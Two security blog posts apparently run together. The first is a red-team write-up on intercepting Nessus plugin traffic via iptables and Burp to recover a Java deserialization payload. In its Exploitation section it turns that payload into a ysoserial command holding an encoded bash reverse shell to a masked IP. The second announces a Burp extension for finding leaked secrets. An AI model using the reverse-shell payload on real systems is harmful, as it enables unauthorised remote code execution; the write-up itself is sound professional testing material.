Table of contents

• Introduction
• Setup
  • 1. Install Nessus
  • 2. Create a non-root account to run the Nessus service
  • 3. Remove ‘world’ permissions on Nessus binaries in the /sbin directory
  • 4. Change ownership of /opt/nessus to the non-root user.
  • 5. Set capabilities on nessusd and nessus-service
  • 6. Remove and add the following lines to the /usr/lib/systemd/system/nessusd.service script
• Exploitation
• Conclusions
• References

Introduction

In this post we will introduce you how to intercept and reverse the payload generated by the Nessus’s closed source plugins.

So we asked ourselves: is it possible to see what Nessus is doing under the hood?

Nessus is a proprietary tool developed by an American company named Tenable Inc, used for Vulnerability Assessment engagements by Cyber Security Companies. It can be used to scan single hosts or whole networks raising an alert if it discovers any vulnerabilities that can be abused to obtain access to the victim’s system. Nessus scans cover a wide range of technologies including operating systems, network devices, hypervisors, databases, web servers, and critical infrastructure.

The process of adding new security checks and release them into the general public domain is done by Tenable Inc. research staff. The Advanced Scan templates include an option that allows selecting which program has to be executed to find a specific vulnerability. Those programs, also known as plugins, are written using the Nessus Attack Scripting Language (NASL). Each plugin has some information about the vulnerability discovered: the impact that may have on an organization, the remediation, and, when is available, the Proof of Concept to verify the vulnerability.

During the last Red Team engagement, CYS4 has performed several manual and automatic testing activities. The automated part was done with the help of Nessus that has shown a potentially critical vulnerability (CVE-2017-12149) on a host:

At this point, many organizations would have stopped and reported to the client the finding identified by the automatic scanner without going into details of the issue, but in CYS4 we do things differently by trying harder ;)

From Nessus’s output, it was clear that it has successfully crafted a serialized object obtaining a custom error message from the victim but it was not able to leverage that vulnerability into a Remote Code Execution (RCE). In particular, DNS traffic was blocked by a firewall, so it was not possible to use a safer common payloads like URLDNS.

For this reason, we decided to reverse the plugin functionality, trying to understand how Nessus was able to trigger the custom error message.

At this stage we found three possible options:

1. Reverse the Nessus Script Language engine
2. Hook the engine functionalities
3. Perform a lazy MiTM attack to intercept the traffic.

We chose the third option, because it was more straightforward. In addition, some changes to NASL debugging module didn’t allow an easy instrumentation of the plugin module.

Setup

The first idea that came up to our minds to intercept the traffic, was using iptables to forward the Nessus traffic to the local HTTP proxy server (which, in our case, was Burp Suite). Because we had to run Nessus and the proxy in the same machine, we couldn’t use the PREROUTING table, as it only applies to packets coming from outside: a feasible workaround was to modify the destination port on packets OUTPUT sent by our Nessus process. The catch is that it could also have affected packets output by Burp Suite, getting into a routing loop. In order to solve this, it was necessary to capture only non-root traffic and run Nessus as an unprivileged user, as mentioned in this guide¹.

According to the official Nessus documentation², we had to follow these steps:

1. Install Nessus

2. Create a non-root account to run the Nessus service

# useradd -r nonprivuser

3. Remove ‘world’ permissions on Nessus binaries in the /sbin directory

# chmod 750 /opt/nessus/sbin/*

4. Change ownership of /opt/nessus to the non-root user.

# chown nonprivuser:nonprivuser -R /opt/nessus

5. Set capabilities on nessusd and nessus-service

# setcap "cap_sys_resource+eip" /opt/nessus/sbin/nessusd
# setcap "cap_sys_resource+eip" /opt/nessus/sbin/nessus-service
# setcap "cap_net_admin,cap_net_raw,cap_sys_resource+eip" /opt/nessus/sbin/nessusd
# setcap "cap_net_admin,cap_net_raw,cap_sys_resource+eip" /opt/nessus/sbin/nessus-service

The capabilities we set above have the following meaning:

• cap_net_admin is the capability that refers to the ability to put interface in promiscuous mode;
• cap_net_raw is used to create raw sockets for packet forgery;
• cap_sys_resource allows to set resource limits.

6. Remove and add the following lines to the /usr/lib/systemd/system/nessusd.service script

• Remove: ExecStart=/opt/nessus/sbin/nessus-service -q
• Add: ExecStart=/opt/nessus/sbin/nessus-service -q --no-root
• Add: User=nonprivuser

The resulting script appeared as follows:

[Service]
Type=simple
PIDFile=/opt/nessus/var/nessus/nessus-service.pid
ExecStart=/opt/nessus/sbin/nessus-service -q --no-root
Restart=on-abort
ExecReload=/usr/bin/pkill nessusd
EnvironmentFile=-/etc/sysconfig/nessusd
User=nonprivuser

[Install]
WantedBy=multi-user.target

Furthermore, it was necessary to erase all the iptables rules and enable kernel IP forwarding:

# iptables -t nat -F
# sysctl -w net.ipv4.ip_forward=1

After that, we configured iptables to redirect traffic through the proxy:

# iptables -t nat -A OUTPUT -p tcp -m owner ! --uid-owner root --dport 443 -j REDIRECT --to-port 8080

… and we could finally run Nessus with the lowest privileges:

# systemctl daemon-reload
# service nessusd start

Exploitation

In our new set up environment, we finally succeeded in intercepting the Nessus request which could trigger the vulnerability. To reach our goal,we also decided to disable all the Nessus plugins and run a scan targeting the vulnerable host:

By analyzing the payload, it appeared like a serialized object which leveraged vulnerable CommonCollections libraries. So we were able to build a reverse shell payload using the ysoserial tool and the CommonCollections3 Java deserialization gadget:

java -cp . -jar ysoserial.jar CommonCollections3 "bash -c {echo,c2ggLWkgNTw+IC9kZXYvdGNwLzE5Mi54eHgueHh4Lnh4eC80NDUgMDwmNSAxPiY1IDI+JjUK}|{base64,-d}|{bash,-i}" > test.ser

After sending the malicious payload to the vulnerable server, we obtained Remote Code Execution (RCE) in the root user context using a reverse shell:

Conclusions

Simplifying the exploitation phase is crucial when time is limited. In this case, due to the time restrictions applied by the customer, intercepting the Nessus payload helped to successfully reduce the time spent in the exploitation phase for this target and allowed us to expand our attack surface.

References

Table of contents

• Introduction
• Latest upgrade: What’s new and Why it matters
• Next steps

SensitiveDiscoverer has come a long way since our last post, with many new features and improvements. For those unfamiliar with it, SensitiveDiscoverer is an extension for penetration testers to automatically find sensitive information. Everything else will be explained shortly.

Let’s start rewinding a bit.

Introduction

Burp Suite is one of the most popular tools for web application security testing among professional security analysts, researchers, and bug bounty hunters.

During our penetration tests, we often rely on Burp Suite’s search functionality to manually scan requests and responses for patterns. Matching patterns on all messages helps us lower the chance of overlooking disclosed secrets and sensitive information.

While this may work for one or two patterns, manually doing this can be tedious and time-consuming, especially when dealing with numerous patterns.

That’s why we developed “SensitiveDiscoverer”: a Burp Suite extension to automate the process of scanning for sensitive strings in HTTP messages.

Over the past years, CYS4 has identified various “Sensitive Data Exposure” issues in its penetration tests. Numbers-wise, this vulnerability has been found in 67% of our customers’ applications. This shows that the problem is widespread within applications. Thanks to the extension developed, we aim to improve the accuracy of our Penetration Test activities even further.

Latest upgrade: What’s new and Why it matters

SensitiveDiscoverer is a Burp Suite extension that lets you scan Burp’s proxy history, searching for potential Information Disclosure. Using a list of regular expressions to match against every message, you can automatically find valuable information, such as API Keys, Client IDs, and Secrets, without inspecting every message manually.

In version 3.0, we’ve made some significant improvements to the tool. Let’s go through the most important ones:

• Multithreading capabilities

  Multithreading allows you to select the number of parallel threads used when scanning messages, reducing scanning times significantly. During our tests, the scanning times were consistently reduced by at least 50%.

  
  

• New and improved regex lists

  A new and improved collection of regexes that focuses on higher accuracy.

  The extension comes with a pre-defined collection of regexes carefully maintained by us. We aim to provide a great out-of-the-box experience with few false positives. The list offers a solid starting point for adding your own lists of regexes.

  
  

• New scan filters

  New filters are available to further refine the search, only scanning the most relevant messages. This reduces both unnecessary results and scanning time.

  
  

• And many more!

  The UI has also received multiple improvements, and many bugs were fixed during the process. The complete list of changes is available on the project’s GitHub page.

Next steps

SensitiveDiscoverer is available on the official BAppStore and on our GitHub repository. We’re committed to maintaining this project, improving the default set of available regexes, and enriching the interface’s look and feel.

If you have any feature requests or suggestions for improvements, feel free to browse our GitHub repository and let us know.